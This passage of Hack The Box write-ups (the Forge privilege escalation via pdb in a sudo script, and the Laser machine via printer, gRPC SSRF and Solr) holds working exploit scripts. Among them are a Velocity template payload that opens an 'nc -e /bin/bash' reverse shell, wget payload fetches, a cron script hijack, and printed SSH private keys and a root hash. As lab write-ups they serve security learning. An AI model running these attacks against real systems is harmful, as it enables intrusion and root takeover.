0sSeyvkPIKbckcL5YQav63Y0BwRv9npaTs9ISxvrII5n26hPF8DPamPbnAENuBmWd5iqUf
FDb5B7L+sJai/JzYg0KbggvUd45JsVeaQrBx32Vkw8wKDD663agTMxSqRM/wT3qLk1zmvg
NqD51AfvS/NomELAzbbrVTowVBzIAX2ZvkdhaNwHlCbsqerAAAAMEAzRnXpuHQBQI3vFkC
9vCV+ZfL9yfI2gz9oWrk9NWOP46zuzRCmce4Lb8ia2tLQNbnG9cBTE7TARGBY0QOgIWy0P
fikLIICAMoQseNHAhCPWXVsLL5yUydSSVZTrUnM7Uc9rLh7XDomdU7j/2lNEcCVSI/q1vZ
dEg5oFrreGIZysTBykyizOmFGElJv5wBEV5JDYI0nfO+8xoHbwaQ2if9GLXLBFe2f0BmXr
W/y1sxXy8nrltMVzVfCP02sbkBV9JZAAAAwQDErJZn6A+nTI+5g2LkofWK1BA0X79ccXeL
wS5q+66leUP0KZrDdow0s77QD+86dDjoq4fMRLl4yPfWOsxEkg90rvOr3Z9ga1jPCSFNAb
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
```

Let's ssh in real quick and get the user.txt.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/forge]
└─# chmod 600 user 
┌──(root💀kali)-[~/hackthebox/machine/forge]
└─# ssh -i user user@10.10.11.111
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 12 Sep 2021 11:49:05 PM UTC

  System load:  0.0               Processes:             222
  Usage of /:   43.6% of 6.82GB   Users logged in:       0
  Memory usage: 22%               IPv4 address for eth0: 10.10.11.111
  Swap usage:   0%


0 updates can be applied immediately.


Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6
user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@forge:~$ whoami
user
user@forge:~$ cat user.txt 
3466f6558880e529a6e586b146b3cb66
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2079.jpg)

#### Privilege escalation

Before start with LinPEAS let's try some manual enumeration.

And we see we can run sudo command without password.

``` bash
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:~$ 
```

Let's check the remote-manage.py script.

``` python
user@forge:~$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()
```

We can clearly see that if we manage to create some error so we go to the except handler inside Python Debugger and as we running it as root so we can easily execute command with os module in the system.

For that we need to ssh connection one is for start the server and second is for connect to the server.

For create an error i use '\ in my netcat you use anything you want.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/forge]
└─# ssh -i user user@10.10.11.111
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 12 Sep 2021 11:57:04 PM UTC

  System load:  0.0               Processes:             221
  Usage of /:   43.6% of 6.82GB   Users logged in:       1
  Memory usage: 22%               IPv4 address for eth0: 10.10.11.111
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Sep 12 23:49:06 2021 from 10.10.14.11
user@forge:~$ nc localhost 31202
user@forge:~$ nc localhost 60401
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
'\
```

``` bash
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:60401
invalid literal for int() with base 10: b"'\\"
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
```

Now we are inside the pdb let's import the os module and use our old trick for geeting root.

``` bash
(Pdb) import os
(Pdb) os.system("chmod +s /bin/bash")
0
(Pdb) exit()
user@forge:~$ /bin/bash -p
bash-5.0# cd /root
bash-5.0# cat root.txt
c22dca0e29c88eba7f1d841820ee1fc8
bash-5.0# cat /etc/shadow | grep root
root:$6$Msvc2unlR99fWBAX$boGTeFujypU5XzdRYTBwRdGEUanryagtjUScvHxCfJ.Jt44iwzJhad4rWhXMahebHXA6CSH3Nlr64tpusii6O/:18780:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2080.jpg)

 - and here is root id_rsa key to connect

``` bash
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAusTE7uvvBLrfqDLv6I/+Xc9W/RVGA4eFPOowUNkHDZ4MTUm4cK4/
DdTvY7o7bvSinEX26rWdG4eVY3qnBGSACl3VIGX80NsWgyZwWQT20Vj0q8gf674RB4LfB6
i6Awm8cbm3105HxfQnqr4qr2oJEpyDVaF29zpaS+6y0Ogq7HcRkSyQyErBnGmlOYBcBvvh
M+/j0iCCMfM6ZbZ/0ouoN4uOXzn+jh/ZJstDoEd0VH4RhnMzHA1hdo+6+OhFUbtoCFdxtP
wfzVp0LQb2wqitREeT5GNPIVL2//tbNz+QUfuwQAEHCcveyKWDVTs/klDkcf/p9NqsAspn
re6QhoLqzsuAXds0gThQLN+/+EUuV3sZ6wdkmHBqKbm8aaGc84P/SpnDvz249+G188NoUq
nVSb9RCRnGy/JStP97umzhbyJLiRpRY8Dlh8Ugln6D58b5QVk3uYjP0muf+SI3No+L7+81
iM7jNo9x2Jsg79tjP/RfgSJdTt6atSgeq9BwBJzxAAAFgPqA8Wj6gPFoAAAAB3NzaC1yc2
EAAAGBALrExO7r7wS636gy7+iP/l3PVv0VRgOHhTzqMFDZBw2eDE1JuHCuPw3U72O6O270
opxF9uq1nRuHlWN6pwRkgApd1SBl/NDbFoMmcFkE9tFY9KvIH+u+EQeC3weougMJvHG5t9
dOR8X0J6q+Kq9qCRKcg1Whdvc6WkvustDoKux3EZEskMhKwZxppTmAXAb74TPv49IggjHz
OmW2f9KLqDeLjl85/o4f2SbLQ6BHdFR+EYZzMxwNYXaPuvjoRVG7aAhXcbT8H81adC0G9s
KorURHk+RjTyFS9v/7Wzc/kFH7sEABBwnL3silg1U7P5JQ5HH/6fTarALKZ63ukIaC6s7L
gF3bNIE4UCzfv/hFLld7GesHZJhwaim5vGmhnPOD/0qZw789uPfhtfPDaFKp1Um/UQkZxs
vyUrT/e7ps4W8iS4kaUWPA5YfFIJZ+g+fG+UFZN7mIz9Jrn/kiNzaPi+/vNYjO4zaPcdib
IO/bYz/0X4EiXU7emrUoHqvQcASc8QAAAAMBAAEAAAGAR6rR1sx5/1qmECjbnmYCuYSiYK
MVJq2OFv3WZG+jITqQhefP+o0ibPBUm/QOclk1PLosMYxXKQUx8eZSyIC4EUJIUhJQnOQ1
E0ZgvggFnfeAi5pThWZ9qmAxrQK1vgyyXwFg5iGHsRIrVn16a61Ipfeg/e7jc6LUm2aQ/1
DXh7145DgxpmnpOVfgqtvydEua8w8OYMdQrlIjCnypN+WXOxk2HJxobakS7qv42zwQC4wE
tY7nAdCwoYotuO2IDADZFcRWiPImmTnVWQvM27VKzpuDmp1kmOh8VD1qFV0GlPQIsJMHLH
rQYJ6toBi7WaHC7H56EDd9QrVJgmmj50I90weAj8fldN+L8VSl3PKBgzdsxUH9xB3toj1z
uYvgk7cPxcW78ObYUkmNUJNMZcA0/LezoXG7fWuhRoOf1eXIbUKYd+ygNlyxaqywufESzY
HaGezUEV+UsI0Ll3Me7WyslZaX6hpOjhYJmN3kv0dWNJg9Nkg29Pr4iU5q+t71BYlxAAAA
wFWKwWX2ApTatPB/5GvAs3SWT+O3bj3FXoQ3VjI5D+vPyUCx9Dr/iMOBv5YHObfxwqezzD
0m82Zy1gwvWUPpVq4uiRPwwojqAYqDwA/gbX3+LdVR0bZFMFx2R0FzVXEIMCI5Cxvg+DBx
NsLIQ8EbEWGp9NWOa9FeRsA8o/KjzFEPU8MlxxgaFkzsxciykNGZk1luUSsNujm7fgWv55
ZdFmti8b1TAt5cVkHrT5Fks835XX9W8exqcOcZlEHIXOSgLQAAAMEA9cceY3X6o9Nu6xPu
3eREkMAjIaR+cY/OrKO40Zm0NiIvpi+kOVoNtau0gXSXNryMyuGsjGuWW8IPnpr21UBJP8
1O4kfqXdsfj067n21kofcxS4Ca6cSi7m4HU6ZGGpiC9eSJ44XRNGypKhahpxhbZqgFFdVU
MdzdsZRFhm1tdQU8ZoqouPAX+tI3788IBG2QAgTpQ9ly7sVKMdwfT9qC3wtcgXGS1OweaC
BUDvWd2rzP7/egeGqGWFOYZFxKhndPAAAAwQDCiVwE7LiHyZHfHN7amzdusL9odhljHkYf
2xeZP3PERvqWr3g8xwhgT4oGUy8x3zgILYYvnX04FpfpBMke725nEyrvK/kZf/Sgp7Sk0h
pbEabGDypeS4A3UIhtaM+VShS7wJGz8sXAbMm+JSwMt67vN95IULw6+SuyirRLUDc77N76
xIK6PSiF7Hs2Z7BZOVQd1BpblnZrL3mbJcdvXS8n55QgDuxfJeoxKrr9r1r/WqRjtce8/A
ZPz43Mi1EOl78AAAAKcm9vdEBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
```

#### Summary of knowledge

 - subdomains fuzzing
 - file upload bypass through upper case
 - Privilege escalation through sudo python scripts

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more......</font>
<!-- kb:end forge -->

</details>

<a id="case-laser"></a>

## 打印服务、gRPC 与内部 Solr

JetDirect 线索连接加密配置和 gRPC，gopher 请求再到内部 Solr。原文保留防火墙内端口、转发和进程观察的完整链。

<p class="kb-provenance">来源 laser · 原记录 2020-08-19 · 32 个代码块 · 12 处图片引用</p>

<details class="kb-evidence" id="record-laser">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start laser -->

#### introduce

OS: Linux
Difficulty: Insane
Points:	50
Release:	08 Aug 2020
IP:	10.10.10.201

User Blood InfoSecJack	00 days, 00 hours, 04 mins, 04 seconds.
Root Blood bjornmorten	00 days, 23 hours, 18 mins, 35 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb68.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
9000/tcp open  cslistener?
9100/tcp open  jetdirect?
```

#### port 9100

After some searching we can see that HP jetdirect is a tcp/ip printer server. i found the following exploit/enumeration tool:

 - [PRET](https://github.com/RUB-NDS/PRET)

first download it

``` bash
git clone https://github.com/RUB-NDS/PRET.git
```

then

``` bash
root@kali:~/PRET# python pret.py 10.10.10.201 pjl
      ________________                                             
    _/_______________/|                                            
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.40
  |===        |----| ||    by Jens Mueller <jens.a.mueller@rub.de> 
  |           |   ô| ||                                            
  |___________|   ô| ||                                            
  | ||/.---.||    | ||      「 pentesting tool that made          
  |-||/_____\||-.  | |         dumpster diving obsolete‥ 」       
  |_||=L==H==||_|__|/                                              
                                                                   
     (ASCII art by                                                 
     Jan Foerster)                                                 
                                                                   
Connection to 10.10.10.201 established
Device:   LaserCorp LaserJet 4ML

Welcome to the pret shell. Type help or ? to list commands.
10.10.10.201:/>
```

now we have a connection, start some enumeration
with just a few linux commands we found a file named queued:

``` bash
10.10.10.201:/> ls
d        -   pjl
10.10.10.201:/> cd pjl
10.10.10.201:/pjl> ls
d        -   jobs
10.10.10.201:/pjl> cd jobs
10.10.10.201:/pjl/jobs> ls
-   172199   queued
```

get queued

and we downloaded the file to our machine, since this file is encrypted we still need a decryption key.

nvram dump

``` bash
10.10.10.201:/pjl/jobs> nvram dump
Writing copy to nvram/10.10.10.201
..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................k...e....y.....13u94r6..643rv19u
```

and we found our decryption key. lets try to decrypt this file:
convert file to base64.raw file:

``` bash
root@kali:~/PRET# sed -e "s#'##g" queued | cut -c2- > queued.b64
root@kali:~/PRET# ls
capabilities.py   DISCLAIMER.md  helper.py   nvram          pjl.py          printer.pyc
capabilities.pyc  discovery.py   helper.pyc  operators.py   pjl.pyc         queued
codebook.py       discovery.pyc  img         operators.pyc  postscript.py   queued.b64
codebook.pyc      fonts          LICENSE.md  overlays       postscript.pyc  README.md
console.py        fuzzer.py      lpd         pcl.py         pret.py         testpages
db                fuzzer.pyc     mibs        pcl.pyc        printer.py
```

decode file:

``` bash
import base64

with open("queued.b64","r") as mmm:
    mmm_content = mmm.read()
    b85dec_content = base64.b85decode(mmm_content)
    with open("secwalk.raw","wb") as mmm_jpg:
        mmm_jpg.write(b85dec_content)
```

aes decrypt python script:

``` bash
#!/usr/bin/env python3
import io, sys, base64
from Crypto.Cipher import AES

with io.open('secwalk.raw', 'rb') as fp:
    c = fp.read()[8:]
    iv, ct = c[:16], c[16:]
    cipher = AES.new('13vu94r6643rv19u', AES.MODE_CBC, iv)
    z = cipher.decrypt(ct)
    sys.stdout.buffer.write(z)
```

then run it

``` bash
root@kali:~/PRET# python3 aesde.py > secwalk.pdf
```

and we get a pdf file:
the important contents are following:

``` bash
...
return service_pb2.Data(feed='Pushing feeds')
...

Here is how a sample feed information looks like.

{
    "version": "v1.0",
    "title": "Printer Feed",
    "home_page_url": "http://printer.laserinternal.htb/",
    "feed_url": "http://printer.laserinternal.htb/feeds.json",
    "items": [
        {
            "id": "2",
            "content_text": "Queue jobs"
        },
        {
            "id": "1",
            "content_text": "Failed items"
        }
    ]
}
```

now we know where port 9000 is used for.

#### Port 9000

Now we know this port communication with GRPC we should create our gRPC client to communicate with it. the following post can help us with that:

 - [A simplified guide to gRPC in Python](https://www.semantics3.com/blog/a-simplified-guide-to-grpc-in-python-6c4e25f0c506/)

First we should create a proto file, when we look at the PDF file we can see which content it needs:

``` bash
Usage 
To streamline the process we are utilising the Protocol Buffers and gRPC framework. 
The engine runs on 9000 port by default. All devices should submit the feeds in serialized format such that data transmission is fast and accurate across network.
We deﬁned a Print service which has a RPC  method called Feed . This method takes Content as input parameter and returns Data from the server.
The Content message deﬁnition speciﬁes a ﬁeld data and Data message deﬁnition speciﬁes a ﬁeld feed .
On successful data transmission you should see a message.
```

It needs content, Data and Service print:

luci11.proto

``` bash
syntax = "proto3";

message Content {
    string data = 1;
}

message Data {
    float feed = 1;
}

service Print {
    rpc Feed(Content) returns (Data) {}
}
```

now we need to run the following command as mentioned in the post,you need to install the dependencies first

``` bash
pip3 install grpcio
pip3 install grpcio-tools

root@kali:~/hackthebox/machine/laser# python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. luci11.proto
```

Now we have a few file and can start create our client:

``` bash
root@kali:~/hackthebox/machine/laser# ls
luci11_pb2_grpc.py  luci11_pb2.py  luci11.proto
```

client.py

``` bash
import sys, pickle, base64
import grpc, luci11_pb2, luci11_pb2_grpc

payload = '{"feed_url":"http://10.10.14.6:81"}'
payload = base64.b64encode(pickle.dumps(payload))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = luci11_pb2_grpc.PrintStub(channel)
content = luci11_pb2.Content(data=payload)
try:
    response = stub.Feed(content, timeout=10)
    print(response)
except Exception as ex:
    print(ex)
```

now test if we can get a connection back from it:

``` bash
root@kali:~/hackthebox/machine/laser# python3 client.py
......
root@kali:~# nc -lvp 81
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::81
Ncat: Listening on 0.0.0.0:81
Ncat: Connection from 10.10.10.201.
Ncat: Connection from 10.10.10.201:58680.
GET / HTTP/1.1
Host: 10.10.14.6:81
User-Agent: FeedBot v1.0
Accept: */*
```

looks like we have a connection.

After some more enumeration, there was a little stuck here, but it turns out we can create an port scanner to see which service ports are open behind the firewall and since grpc can communicate with these ports we could try to exploit these by using the following python script:

scanner.py

``` bash
import sys, pickle, base64
import grpc, luci11_pb2, luci11_pb2_grpc

for port in range(1, 65536):
    payload = '{"feed_url":"http://localhost:' + str(port) + '"}'
    payload = base64.b64encode(pickle.dumps(payload))
    channel = grpc.insecure_channel('10.10.10.201:9000')
    stub = luci11_pb2_grpc.PrintStub(channel)
    content = luci11_pb2.Content(data=payload)
    try:
        response = stub.Feed(content, timeout=10)
        print(port, response)
    except Exception as ex:
        if 'Connection refused' in ex.details():
            continue
        print(port)
```

now run it:

``` bash
root@kali:~/hackthebox/machine/laser# python3 scanner.py
22
7983
8983 feed: "Pushing feeds"
9000
9100
```

found two new ports 7983 and 8983
Pushing feeds was also mentioned in the pdf file:

``` bash
On successful data transmission you should see a message.

...
return service_pb2.Data(feed='Pushing feeds')
...
```

try to get a successful data transmission:

client.py

``` bash
import sys, pickle, base64
import grpc, luci11_pb2, luci11_pb2_grpc

payload = '{"feed_url":"http://localhost:8983"}'
payload = base64.b64encode(pickle.dumps(payload))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = luci11_pb2_grpc.PrintStub(channel)
content = luci11_pb2.Content(data=payload)
try:
    response = stub.Feed(content, timeout=10)
    print(response)
except Exception as ex:
    print(ex)
```

``` bash
root@kali:~/hackthebox/machine/laser# python3 client.py
feed: "Pushing feeds"
```
have a successful data transmission we can try to lookup which service is running on port 8983

#### port 8983 details

looks like Apache solr 1.4 is running on this port
After some searching I found the following:

 - [Apache Solr Injection Research](https://github.com/veracode-research/solr-injection)

 - CVE-2019-17558 RCE via Velocity template:

``` bash
https://github.com/veracode-research/solr-injection#7-cve-2019-17558-rce-via-velocity-template-by-_s00py
```

write a python script to exploit it:

first download grpcurl

 - [grpcurl binary file from github](https://github.com/fullstorydev/grpcurl/releases)

then use the following two python scripts to get a shell

exp.py
``` bash
import base64
import pickle
import os

data0 = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'

data = base64.b64encode(pickle.dumps(data0))
os.system("/root/hackthebox/machine/laser/grpcurl -plaintext -d '{\"data\":\"%s\"}' -proto luci11.proto 10.10.10.201:9000 Print.Feed" % data.decode())
```

exp2.py
``` bash
import base64
import pickle
import os
import sys

data1 = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27nc%2010.10.10.6%204444%20-e%20%2Fbin%2Fbash%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'

data = base64.b64encode(pickle.dumps(data1))
os.system("/root/hackthebox/machine/laser/grpcurl -plaintext -d '{\"data\":\"%s\"}' -proto luci11.proto 10.10.10.201:9000 Print.Feed" % data.decode())
```

running the exploit script one by one we get our shell:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb69.jpg)

copy our rsa key to solr so we have a solid shell:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb70.jpg)

``` bash
cp /var/solr/.ssh/id_rsa.pub /home/solr/.ssh/authorized_keys
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb71.jpg)


run Pspy to see if there are any processes:

 - [download pspy from github](https://github.com/DominicBreuker/pspy/releases)

``` bash
python -m SimpleHTTPServer 80

wget http://10.10.14.16/pspy64

chmod +x pspy64
```

after running a while we get a password for a docker to login to:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb72.jpg)

``` bash
c413d115b3d87664499624e7826d8c5a
```

logged in to the docker:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb73.jpg)

can see it tries to run clear.sh on the docker and removes it then again, we could try to exploit this in the docker:

``` bash
wget http://10.10.14.16/socat
```

disable ssh

``` bash
service ssh stop

chmod +x socat

./socat TCP-LISTEN:22,fork,reuseaddr TCP:172.18.0.1:22
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb74.jpg)

in our solr shell we create a bash file:

``` bash
echo '#!/bin/sh\nmkdir -p /tmp/secwalk;cp -R /root/.ssh /tmp/secwalk; chown -R solr:solr /tmp/secwalk' > /tmp/clear.sh

chmod a+x /tmp/clear.sh
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb75.jpg)

now wait until the process gets triggered:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb76.jpg)

now the id_rsa key from root and can login as root now use following root id_rsa key to connect:

``` bash
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
```

use the key file to get root and read the flag:

``` bash
root@kali:~/hackthebox/machine/laser# chmod 600 key
root@kali:~/hackthebox/machine/laser# ssh -i key root@10.10.10.201
load pubkey "key": invalid format
The authenticity of host '10.10.10.201 (10.10.10.201)' can't be established.
ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.201' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 22 Aug 2020 01:12:04 PM UTC

  System load:                      0.14                                                                 
  Usage of /:                       42.6% of 19.56GB                                                                     
  Memory usage:                     68%                                                                                               
  Swap usage:                       1%
  Processes:                        235
  Users logged in:                  0
  IPv4 address for br-3ae8661b394c: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.201
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:f15b


73 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


Last login: Wed Aug  5 09:48:17 2020
root@laser:~# id
uid=0(root) gid=0(root) groups=0(root)
root@laser:~# ls /home
solr
root@laser:~# ls /home/solr
feed_engine  user.txt
root@laser:~# cat /home/solr/user.txt
a9c8ee0fa19c9a150aaad90bbf1cbb12
root@laser:~# cat root.txt 
79b9b88630c2c60bdbd0e168fcfb0a07
```

